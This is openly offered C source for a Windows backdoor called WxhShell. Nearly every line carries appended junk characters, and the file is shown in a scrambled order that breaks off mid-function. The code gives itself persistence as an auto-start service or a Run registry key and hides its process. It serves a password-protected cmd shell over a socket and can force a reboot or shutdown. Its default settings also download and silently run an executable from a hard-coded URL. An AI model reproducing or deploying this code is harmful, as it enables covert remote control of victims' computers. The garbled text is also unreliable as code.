    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2&fIF}vk>m  
    if(Boot(SHUTDOWN)) O6gI%Jdp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +GMM&6<  
    else { ]5D?Sc#-  
    closesocket(wsh); 30]?Jz6m  
    ExitThread(0); vvw6 GB,M  
    } oPRvd_~  
    break; H@2JL.(k  
    } Uj}iMw,  
  // 获取shell !$hrK6o  
  case 's': { y|V/xm+Fp  
    CmdShell(wsh); ]od]S 8$5  
    closesocket(wsh); S*rgYe!E  
    ExitThread(0); dUeM+(s1  
    break; q.i@Lvu#  
  } " M8 j?  
  // 退出 \Oh9)X:I  
  case 'x': { LKY4rY!|@d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2;.7c+r0  
    CloseIt(wsh); D8slSX`6j  
    break; 6d"dJV.\  
    } 6 grJoim|  
  // 离开 PH 97O`"  
  case 'q': { iOm1U_S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3nf+ imAF  
    closesocket(wsh); mIq6\c$  
    WSACleanup(); "?lirOD  
    exit(1); AS`0.RC-  
    break; 2qKo|'gL`  
        } V| z|H$-  
  } x_{ua0BLDf  
  } Q?n} ~(% &  
j,eeQ KH  
  // 提示信息 p #'BV'0bl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wlBdA  
} wcP0PfY  
  } sIdo(`8$  
G+AD &EHV  
  return; 3Gf^IV-  
} K+Al8L?K_  
+jO1?:Lr  
// shell模块句柄 eV^@kI4  
int CmdShell(SOCKET sock) v>.nL(VLjP  
{ enlk)_btp  
STARTUPINFO si; lYT}Nc4"="  
ZeroMemory(&si,sizeof(si)); :1eI"])(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1F-o3\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xeo;4c#S5  
PROCESS_INFORMATION ProcessInfo; \bqNjlu  
char cmdline[]="cmd";  a)PBC{I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PHi'&)|  
  return 0; uDK`;o'F  
} UP 1Y3  
D}px=?  
// 自身启动模式 YTQ|Hg6jO  
int StartFromService(void) jii2gtu'U  
{ _A kc7"  
typedef struct :aLShxKA  
{ 4O9HoX#-?  
  DWORD ExitStatus; vLD Ma>  
  DWORD PebBaseAddress; !Qjpj KRy  
  DWORD AffinityMask; U}MU>kzb  
  DWORD BasePriority; f[.RAHjk  
  ULONG UniqueProcessId; -]~U_J]  
  ULONG InheritedFromUniqueProcessId; mLPQ5`_  
}   PROCESS_BASIC_INFORMATION; {z|0Y&>[=  
?+D_*'65D  
PROCNTQSIP NtQueryInformationProcess; a2v UZhkR  
/#20`;~F)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \K`AO{ D@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; huWUd)Po%  
Dd<gYPC  
  HANDLE             hProcess; .hn{m9|U  
  PROCESS_BASIC_INFORMATION pbi; R}llj$?  
B RG1/f d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UY*Hc  
  if(NULL == hInst ) return 0; &qz&@!`  
eT[ ,k[#q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {a `kPfP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k)Z?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Di+G-#aEs  
PDREwBX  
  if (!NtQueryInformationProcess) return 0; A;1<P5lo  
jbpnCUzi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |iLeOztuE  
  if(!hProcess) return 0; 0@C`QW%m  
]n${j/x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |q^e&M<  
8UwL%"?YB  
  CloseHandle(hProcess); #~I%qa"_pa  
xVuGean Cv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3lM mSKN  
if(hProcess==NULL) return 0; .(VxeF(v_k  
D`3}j  
HMODULE hMod; ,aV89"}  
char procName[255]; h\Op|#gIT  
unsigned long cbNeeded; yf*MG&}  
9x?" %b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hx+a.N  
)+RGXV p  
  CloseHandle(hProcess); t&mw@bj  
mc?5,oz;pz  
if(strstr(procName,"services")) return 1; // 以服务启动 64#~p)  
 X4BDl  
  return 0; // 注册表启动 WU Q2[)<  
} 'dQ2"x?4  
_{_LTy%[  
// 主模块 |D$U{5}Mv  
int StartWxhshell(LPSTR lpCmdLine) p"Oi83w;9  
{ x7L$x=8s  
  SOCKET wsl; |ZJ]`qmZ  
BOOL val=TRUE; &~6Z)}  
  int port=0; bo <.7  
  struct sockaddr_in door; @0A0\2  
5f=e JDo=x  
  if(wscfg.ws_autoins) Install(); _Jj|g9b  
jsf=S{^2  
port=atoi(lpCmdLine); M86v  
TA`*]*O(  
if(port<=0) port=wscfg.ws_port; b?CmKiM%  
/ ]>&OSV  
  WSADATA data; KB&t31aq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TqKL(Qw E  
H[*.Jd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'hVOK(o 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .',ikez  
  door.sin_family = AF_INET; [ \V]tpl!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vd)iv\a  
  door.sin_port = htons(port); X z2IAiAs'  
gD _tBv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UQPd@IVu6  
closesocket(wsl); [LL"86D  
return 1; }qc[ysDK]  
} |B)e! #  
j &,vju  
  if(listen(wsl,2) == INVALID_SOCKET) { `;hsOfo  
closesocket(wsl); )!|K3%9  
return 1; za<Ja=f9X  
} +TpM7QaL  
  Wxhshell(wsl); ok-sm~bp  
  WSACleanup(); qO Zc}J0  
9H1R0iWW  
return 0; 5|r3i \  
(FH4\'t)  
} f3y_&I+zl  
^-~.L: }q  
// 以NT服务方式启动 VXn]*Mo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x\3 ` W  
{ &I:X[=;g  
DWORD   status = 0; {KeHqM}e  
  DWORD   specificError = 0xfffffff; 0Ny0#;P  
-*e$>w[.N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mrqCW]#u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ItYG9a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QMy;?,  
  serviceStatus.dwWin32ExitCode     = 0; #T#&qo#  
  serviceStatus.dwServiceSpecificExitCode = 0; S'Yg!KwX  
  serviceStatus.dwCheckPoint       = 0; Tl8S|Rg  
  serviceStatus.dwWaitHint       = 0; Hi,_qlc+  
K?-K<3]9f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p|(910OEQ  
  if (hServiceStatusHandle==0) return; Arir=q^2  
9^v|~f  
status = GetLastError(); VG&|fekF  
  if (status!=NO_ERROR) Ad@))o2  
{ *S~. KW[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cp0>Euco=  
    serviceStatus.dwCheckPoint       = 0; %[lX  H  
    serviceStatus.dwWaitHint       = 0; BxG0vJN|  
    serviceStatus.dwWin32ExitCode     = status; Q`5jEtu#,  
    serviceStatus.dwServiceSpecificExitCode = specificError; H!Uy4L~>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C([;JO 11[  
    return; pUwx`"DrR  
  } IJS9%m#  
Y)c9]1qly  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [NeOd77y  
  serviceStatus.dwCheckPoint       = 0; 0u'2f`p*  
  serviceStatus.dwWaitHint       = 0; ptb t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;?=] ffa{  
} }4cLU.L8O  
EZ1H0fm  
// 处理NT服务事件,比如:启动、停止 ?h1]s&^| 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ywr^uy1V,/  
{ /Wg$.<!5 }  
switch(fdwControl) !fzqpl\ze  
{ ^q FFF3<8  
case SERVICE_CONTROL_STOP: 0@*rp7   
  serviceStatus.dwWin32ExitCode = 0; u;!CQ w/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O:xRUjpL  
  serviceStatus.dwCheckPoint   = 0; ZN%$k-2  
  serviceStatus.dwWaitHint     = 0; \w^U<_zq  
  { 1k{ E7eL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZzzQXfA#  
  } 3|9) A+,#  
  return; 1ReO.Dd`R  
case SERVICE_CONTROL_PAUSE: {r[ *}Bv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )"t=sFxaB  
  break; q/70fR7{v  
case SERVICE_CONTROL_CONTINUE: c{|soc[#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =ZzhH};aX  
  break; -Zocu<Rs  
case SERVICE_CONTROL_INTERROGATE: r'{pTgm#  
  break; g 4Vt"2|  
}; {< jLfL1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3_^w/-7`B  
} /A|ofAr)  
#3kR}Amow  
// 标准应用程序主函数 I4qzdD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) isWB)$q  
{ !*C^gIQGU  
7lR(6ka&/  
// 获取操作系统版本 [gIStKe  
OsIsNt=GetOsVer(); akJ{-   
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q}\,7l  
`!!A;G7Qg  
  // 从命令行安装 6NJ La|&n  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9DKmXL  
s:I^AL5  
  // 下载执行文件 FE/&<g0,:  
if(wscfg.ws_downexe) { s![=F}ck  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }! zjj\g^  
  WinExec(wscfg.ws_filenam,SW_HIDE); tQo"$ JN}  
} @_N -> l  
hl6al:Y  
if(!OsIsNt) { KGP2,U6  
// 如果时win9x,隐藏进程并且设置为注册表启动 clG3t eC  
HideProc(); '~3( s?B  
StartWxhshell(lpCmdLine); X=${`n%LG  
} -s:JD J*  
else 5jx{O${u  
  if(StartFromService()) O=c&  
  // 以服务方式启动 6K?+adKlc  
  StartServiceCtrlDispatcher(DispatchTable); YJ rK oK}  
else m='+->O*'l  
  // 普通方式启动 -?LSw  
  StartWxhshell(lpCmdLine); xv4nYm9  
YwB 5Zqr  
return 0; E%H,Hk^  
} <KHB/7  
"=4=Q\0PT  
+/x|P-  
eUF PzioW  
=========================================== *zz/U (9D  
RoJ&dK  
yU .B(|  
ks(PH6:]<  
Br-y`s~cP  
My)}oN7\z  
" 4XX21<yn  
{oz04KGsH  
#include <stdio.h> Z!LzyCVl  
#include <string.h> ~a/yLI"'g  
#include <windows.h> LjxTRtB_  
#include <winsock2.h> Zh3]bg5  
#include <winsvc.h> Hb!Q}V+Kb8  
#include <urlmon.h> x6:$lZ(  
0qR;Z{k  
#pragma comment (lib, "Ws2_32.lib") u@==Ut  
#pragma comment (lib, "urlmon.lib") Ai#W. n  
v6oZD;;~  
#define MAX_USER   100 // 最大客户端连接数 EWH'x$z_q  
#define BUF_SOCK   200 // sock buffer n-H0cm  
#define KEY_BUFF   255 // 输入 buffer E.6^~'/  
tb0s+rb  
#define REBOOT     0   // 重启 x`C;  
#define SHUTDOWN   1   // 关机 Q?[k>fu0  
BMFpkK9|  
#define DEF_PORT   5000 // 监听端口 9W'#4  
d&R/fIm  
#define REG_LEN     16   // 注册表键长度 /V&$SRdL*  
#define SVC_LEN     80   // NT服务名长度 WGp81DNS|  
xwK<f6H!y  
// 从dll定义API X)~JX}-L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mYa0_P%^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !t;$n!7<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AQ+w%>G6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WdIr 3  
siyJjE)}w  
// wxhshell配置信息 L$(W* PG}  
struct WSCFG { <V>vDno\  
  int ws_port;         // 监听端口 +T UtVG  
  char ws_passstr[REG_LEN]; // 口令 ~!)_3o  
  int ws_autoins;       // 安装标记, 1=yes 0=no b?HW6Kfc  
  char ws_regname[REG_LEN]; // 注册表键名 7/aJ?:gX  
  char ws_svcname[REG_LEN]; // 服务名 W.0dGUi*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ].:S!QO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2psLX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B.&q]CA v-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UXIq>[2Z1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! daXF&q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,h>0k`J:a  
ChmPO|2F  
}; %&z9^}Vd[  
&x;v&  
// default Wxhshell configuration hnG'L*HooE  
struct WSCFG wscfg={DEF_PORT, $!KV]]  
    "xuhuanlingzhe", m_(+-G  
    1, {f3T !e{  
    "Wxhshell", % YU(,83(+  
    "Wxhshell", >@y5R^B`  
            "WxhShell Service", i:{a-Bd  
    "Wrsky Windows CmdShell Service", {\lu; b!  
    "Please Input Your Password: ", +J+]P\:  
  1, J. {[>  
  "http://www.wrsky.com/wxhshell.exe", 2ht<"  
  "Wxhshell.exe" X "1q$xwc  
    }; W13$-hf9  
>Qt#6X|  
// 消息定义模块 PTL52+}/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j.ANBE96>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a.c2ScXG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rD<@$KpP  
char *msg_ws_ext="\n\rExit."; f]o DZO%^  
char *msg_ws_end="\n\rQuit."; nm\n\j~  
char *msg_ws_boot="\n\rReboot..."; l+YpRx/T\  
char *msg_ws_poff="\n\rShutdown..."; N:gS]OI*  
char *msg_ws_down="\n\rSave to "; J/RUKhs/  
k)y0V:ZY]O  
char *msg_ws_err="\n\rErr!"; eMWY[f3  
char *msg_ws_ok="\n\rOK!"; f9OVylm  
m}F1sRkdQ  
char ExeFile[MAX_PATH]; _|H]X+|  
int nUser = 0; sV3/8W13  
HANDLE handles[MAX_USER]; y>Nlj%XH  
int OsIsNt; #M{}Grg  
}54\NSj0  
SERVICE_STATUS       serviceStatus; 97$y,a{6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7jEAhi!Cq(  
0jj }jw  
// 函数声明 Vs9fAAXS4  
int Install(void); SU H^]4>  
int Uninstall(void); =EV8~hMyqh  
int DownloadFile(char *sURL, SOCKET wsh); }Y<(1w  
int Boot(int flag); =B;rj  
void HideProc(void); HHg=:>L z  
int GetOsVer(void); 7J0 PO}N  
int Wxhshell(SOCKET wsl); &=_YL  
void TalkWithClient(void *cs); dd98v Vj  
int CmdShell(SOCKET sock); bpKb<c  
int StartFromService(void); RZDZ3W(;h  
int StartWxhshell(LPSTR lpCmdLine); o7hjx hmC  
zb:p,T@5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^H&6'A`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MIi:\m5  
P]!eM(  
// 数据结构和表定义 OP``g/x)  
SERVICE_TABLE_ENTRY DispatchTable[] = _gw~A {O  
{ =BNmuAY7  
{wscfg.ws_svcname, NTServiceMain}, Av+R~&h  
{NULL, NULL} VI37  
}; 2/(gf[elX  
1gCp/m2r7  
// 自我安装 ]6 }|X#_  
int Install(void) qRB&R$  
{ vgsu~(L;  
  char svExeFile[MAX_PATH];  UIhB  
  HKEY key; S@T> u,t'  
  strcpy(svExeFile,ExeFile); O+z-6:`  
1.jW^sM  
// 如果是win9x系统,修改注册表设为自启动 ]Nsb V  
if(!OsIsNt) { tXPS@4F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5?6 ATP:[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h*d&2>"0m?  
  RegCloseKey(key); /I".n]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a Se.]_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6t*=.b,N  
  RegCloseKey(key); CDR^xo5 dP  
  return 0; N=:yl/M  
    } GawLQst[+  
  } PvKe|In(  
} F~<$E*&h@  
else { D~8f6Ko"m  
IKAF%0[R|j  
// 如果是NT以上系统,安装为系统服务 M.H4ud  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W 6~<7  
if (schSCManager!=0) 2lXsD;[  
{ RC\TPG/8!  
  SC_HANDLE schService = CreateService !tX14O~B-  
  ( U3A>#EV  
  schSCManager, 4!iS"QH?;^  
  wscfg.ws_svcname, m,]Tl;f  
  wscfg.ws_svcdisp, 'VR5>r  
  SERVICE_ALL_ACCESS, x"_f$,:!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }1Wo#b+  
  SERVICE_AUTO_START, :=*>:*.Kb  
  SERVICE_ERROR_NORMAL, ,cgC_ %  
  svExeFile, LOe!qt\&  
  NULL, vJXd{iQE@C  
  NULL, p7 2+:I  
  NULL, Gf]oRNP,N  
  NULL, zXZy:SD  
  NULL qF( ]Ce  
  ); 3/]J i^+  
  if (schService!=0) HHtp.; L/  
  { 0-FwHDxw  
  CloseServiceHandle(schService); OJkPlDym  
  CloseServiceHandle(schSCManager); 2ZLK`^S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :GGsQ n  
  strcat(svExeFile,wscfg.ws_svcname); ZOS{F_2.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zz02F+H$Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZFrK'BvbR  
  RegCloseKey(key); GpxGDN3?  
  return 0; :UFf6T?  
    } cDE?Xo'!  
  } MS,H12h  
  CloseServiceHandle(schSCManager); "fz-h  
} "D@m/l  
} RTF{<,E.UX  
?86h:9  
return 1; '[Nu;(>a  
} ?Vt$  
Q"Q|]f*  
// 自我卸载 *4A.R&Vu  
int Uninstall(void) 5dYIL`  
{ !.3 MtXr  
  HKEY key; Xb|hP  
t@)~{W {  
if(!OsIsNt) { 2evM|Dj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?6uh^Qal  
  RegDeleteValue(key,wscfg.ws_regname); :(I)+;M}P  
  RegCloseKey(key); GlD@Ud>o)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /D)@y548~~  
  RegDeleteValue(key,wscfg.ws_regname); Gg,,qJO  
  RegCloseKey(key); t(}&<<1Bz  
  return 0; 5zEl`h  
  } Hi.JL  
} ~{+J~5!;<H  
} w8> T ~Mv  
else { hM>xe8yE  
Qy4AuMU2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?8vjHEE  
if (schSCManager!=0) ed\,FWR  
{ U76:F?MH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 17};I7  
  if (schService!=0) s,` n=#  
  { i<=@ 7W  
  if(DeleteService(schService)!=0) { I<[(hPQUf  
  CloseServiceHandle(schService); B_}=v$  
  CloseServiceHandle(schSCManager); 8U\ +b?}  
  return 0; {/B) YR  
  } 5|H?L@_9  
  CloseServiceHandle(schService); @6t3Us~/  
  } TXrC5AJx  
  CloseServiceHandle(schSCManager); QW~o+N~~  
} 4I,@aj46  
} ,[cWG)-  
3zh'5qQ  
return 1; 1X#`NUJ?2  
} k^ZUOWmU|  
z|pH>R?:  
// 从指定url下载文件 q:?g?v  
int DownloadFile(char *sURL, SOCKET wsh) urtcSq&H'  
{ pCpj#+|_)  
  HRESULT hr; 3&2,[G04  
char seps[]= "/"; #2cH.`ty  
char *token; 1f}S:Z  
char *file; #!, xjd  
char myURL[MAX_PATH]; .cu5h   
char myFILE[MAX_PATH]; tgrQ$Yjk  
Y-9]J(  
strcpy(myURL,sURL); /Ee0S8!Z!1  
  token=strtok(myURL,seps); J^t=.-a|  
  while(token!=NULL) 8<_WtDg  
  { `5!7Il  
    file=token; E]ZM`bex&  
  token=strtok(NULL,seps); =8tdu B  
  } Z;%qpsq  
~zRW*pd  
GetCurrentDirectory(MAX_PATH,myFILE); wv?`3:co  
strcat(myFILE, "\\"); pw(`+x]  
strcat(myFILE, file); Gg-<3z  
  send(wsh,myFILE,strlen(myFILE),0); z Gz5|u  
send(wsh,"...",3,0); ,eZ'pxt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )<3WVvB  
  if(hr==S_OK)  OSSMIPr  
return 0; 071w o7  
else j l7e6#zu  
return 1; Mq*Sp UR  
hcN$p2-  
} Xf#;GYO|2  
BJ&>'rc  
// 系统电源模块 u |f h!-  
int Boot(int flag) 'nCBLc8  
{ y"){?  
  HANDLE hToken; g5Hs=c5=\  
  TOKEN_PRIVILEGES tkp; M8g=t[\  
f'#7i@Je  
  if(OsIsNt) { rc;| ,\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '!y ^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <:%Iq13D  
    tkp.PrivilegeCount = 1; SJy?^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !_c<j4O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1"!<e$&$X  
if(flag==REBOOT) { c[j3_fn1]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h~nl  
  return 0; yJKezIL\z  
} k_y@vW3  
else { rW1 > t+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S&R~*  
  return 0; lSbAZ6  
} zlXkD~GV  
  } UQTt;RS*zS  
  else { DVCc^5#  
if(flag==REBOOT) { `T~M:\^D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 55yP.@i9J  
  return 0; -R:1-0I$  
} A70_hhP  
else { "b} ^ xy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;f6G&>p  
  return 0; @YT=-  
} qdcCX:Z<  
} lffw7T~  
`;i| %$TU  
return 1; (M[Kh ^  
} 6o{anHBB  
tfdP#1E  
// win9x进程隐藏模块 P= S)V   
void HideProc(void) OP<@Xz  
{ P;A"`Il  
a+J :1'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C \}m_`MR  
  if ( hKernel != NULL ) Y6g[y\*t  
  { =3& WH0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +z9;BPw %  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2-{8+*_'  
    FreeLibrary(hKernel); \8<bb<`  
  } g]d@X_ &D  
6,oi(RAf  
return; qWr`cO~hc  
} ;/e!!P]jP  
(/FPGYu3h  
// 获取操作系统版本 -h.' ]^I  
int GetOsVer(void) hBN!!a|l  
{ hJaqW'S  
  OSVERSIONINFO winfo; ?VReKv1\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Te5_T&1Z  
  GetVersionEx(&winfo); WL$WWA08_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g ,Q!F  
  return 1; qjTz]'^BpM  
  else Lmj?V1% V  
  return 0; ( 6r9y3'  
} BHU(Hd  
$\0j:<o  
// 客户端句柄模块 %OW[rbE.  
int Wxhshell(SOCKET wsl) E{lq@it32p  
{ {V:?r  
  SOCKET wsh; ;'cv?3Y  
  struct sockaddr_in client; } #%sI"9  
  DWORD myID; ym1TGeFAq  
6G1Z"9<2*  
  while(nUser<MAX_USER) 0Z9jlwcQ  
{ "hQV\|!\  
  int nSize=sizeof(client); tF`>.=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1 w\Y ._jK  
  if(wsh==INVALID_SOCKET) return 1; )[zyvU. J3  
)5]z[sE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); > %d]"]  
if(handles[nUser]==0) ZZlR:D  
  closesocket(wsh); yP[GU| >(  
else R2M,VK?Wx  
  nUser++; PqvwM2}4  
  } d8Upr1_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =XoNk1  
=U@*adgw  
  return 0; ^hbh|Du  
} b6]M}ixK  
]kc_wFT<  
// 关闭 socket xaS kn  
void CloseIt(SOCKET wsh) 6bqJM#y@  
{ {d )Et;_  
closesocket(wsh); Yh"Z@D[d  
nUser--; 0<i~XN0g  
ExitThread(0); g"zk14'  
} XY%8yII6  
"~FXmKcX  
// 客户端请求句柄 %DRDe  
void TalkWithClient(void *cs) 6aK%s{%3s  
{ |y=CmNG,  
L8Z?B\  
  SOCKET wsh=(SOCKET)cs; O<%U*:B  
  char pwd[SVC_LEN]; hO(HwG?8t  
  char cmd[KEY_BUFF]; iJsw:Nc  
char chr[1]; J qU%$[w  
int i,j; blp)a  
FtF!Dtv  
  while (nUser < MAX_USER) { 0@xuxm/i  
V=S`%1dLN  
if(wscfg.ws_passstr) { Sb{S^w\m0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^?juY}rZ=|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;X YT  
  //ZeroMemory(pwd,KEY_BUFF); ;=e A2  
      i=0; Q'\jm=k  
  while(i<SVC_LEN) { gi"v$ {R  
AJmS1 B  
  // 设置超时 wvq<5gy}  
  fd_set FdRead; 3K#e]zoI  
  struct timeval TimeOut; Je?V']lm  
  FD_ZERO(&FdRead); xw?G?(WO  
  FD_SET(wsh,&FdRead); NZ.aI{  
  TimeOut.tv_sec=8; f0hi70\(X  
  TimeOut.tv_usec=0; esLY1c%"/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7IIM8/BI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Z}dY~:  
TbX ZU$[c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ni0lj:  
  pwd=chr[0]; [PQG]"  
  if(chr[0]==0xd || chr[0]==0xa) { 0,/[r/=jT  
  pwd=0; 7unu-P<C  
  break; RF6|zCWuI  
  } oVsl,V  
  i++; K}$PIW  
    } X5<L  
N;D+]_;0|  
  // 如果是非法用户,关闭 socket (m,O!935f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J7E/2Sl  
} %M^bZ?  
h?CNChRJs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~#j `+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i>w>UA*t  
.t}nznh  
while(1) { .^v7LF]Q  
 x'  
  ZeroMemory(cmd,KEY_BUFF); @yek6E&9  
Nd6N:1 -  
      // 自动支持客户端 telnet标准   e%f8|3<6  
  j=0; |0 Zj/1<$  
  while(j<KEY_BUFF) { 8)H"w$jq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N4D_ 43jz  
  cmd[j]=chr[0]; i?|SC=  
  if(chr[0]==0xa || chr[0]==0xd) { F 'h[g.\}  
  cmd[j]=0; Lh. L~M1X  
  break; * dNMnZ@Y  
  } .II'W3Fr  
  j++; Z> &PM06  
    } |Rab'9U^  
"w7:{E5e  
  // 下载文件 "%Rx;xw|  
  if(strstr(cmd,"http://")) { 4b<:67 %  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lOE bh  
  if(DownloadFile(cmd,wsh)) *k=}g][?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iE&`F hf?  
  else |e pe;/  
